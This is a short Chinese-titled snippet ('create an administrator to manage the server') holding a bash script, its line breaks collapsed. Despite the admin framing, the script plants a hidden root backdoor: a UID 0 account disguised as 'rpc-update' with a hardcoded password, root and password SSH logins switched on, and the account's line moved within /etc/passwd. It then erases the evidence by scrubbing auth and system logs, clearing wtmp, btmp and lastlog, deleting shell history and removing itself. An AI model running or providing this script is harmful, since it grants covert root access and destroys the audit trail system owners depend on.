创建一个管理员管理服务器
`#!/bin/bash export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin U="rpc-update" P="mydemo123" useradd -o -u 0 -g 0 -M -d / -s /bin/bash $U 2>/dev/null echo "$U:$P" | chpasswd CONF="/etc/ssh/sshd_config" if [ -f "$CONF" ]; thensed -i 's/^#*PermitRootLogin.*/PermitRootLogin yes/' "$CONF"sed -i 's/^#*PasswordAuthentication.*/PasswordAuthentication yes/' "$CONF"if /usr/sbin/sshd -t 2>/dev/null; thensystemctl restart ssh 2>/dev/nullsystemctl restart sshd 2>/dev/nullservice ssh restart 2>/dev/nullelse:fi fi sed -i "/^$U:/d" /etc/passwd sed -i "12i $U:x:0:0::/:/bin/bash" /etc/passwd pwconv 2>/dev/null LOGS=("/var/log/auth.log" "/var/log/syslog" "/var/log/secure" "/var/log/messages") for L in "${LOGS[@]}"; do[ -f "$L" ] && sed -i "/$U/d" "$L" 2>/dev/null done > /var/log/wtmp > /var/log/btmp > /var/log/lastlog [ -f ~/.bash_history ] && rm -f ~/.bash_history touch ~/.bash_history rm -f "$0" history -c && history -w && exit`